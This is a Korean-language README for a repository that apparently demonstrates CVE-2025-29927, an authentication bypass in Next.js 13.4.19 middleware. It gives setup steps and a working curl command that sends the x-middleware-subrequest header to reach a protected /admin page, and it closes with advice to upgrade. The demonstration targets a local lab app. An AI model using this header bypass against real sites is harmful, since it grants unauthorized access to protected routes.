all3njk/nextjs_cve-2025-29927x-middleware-subrequest 헤더 우회를 통해 Next.js 13.4.19에서 보호된 경로에 무단 액세스를 허용하는 방법을 보여줍니다. 설정, 정상 흐름 및 curl 기반 악용 단계를 포함합니다.
이 애플리케이션은 Next.js 13.4.19에서 미들웨어 보호를 우회할 수 있는 x-middleware-subrequest 취약점을 보여줍니다.
npm install
npm run dev
이 애플리케이션에는 미들웨어로 보호되어야 하는 /admin 관리자 페이지가 있습니다. 그러나 x-middleware-subrequest 헤더를 사용하면 인증 없이 접근할 수 있습니다.
/admin 방문 - /login으로 리디렉션됩니다./admin으로 리디렉션됩니다.인증을 우회하려면 curl 또는 모든 HTTP 클라이언트를 사용하여 x-middleware-subrequest 헤더를 포함한 요청을 보낼 수 있습니다:
curl -H "x-middleware-subrequest: middleware" http://localhost:3000/admin
이 취약점은 x-middleware-subrequest 헤더를 사용하여 Next.js 13.4.19에서 미들웨어 보호를 우회할 수 있는 방법을 보여줍니다. 프로덕션 환경에서는 이로 인해 보호된 경로에 대한 무단 접근이 가능할 수 있습니다.
이 취약점을 해결하려면 이 문제가 패치된 최신 버전의 Next.js로 업그레이드하세요.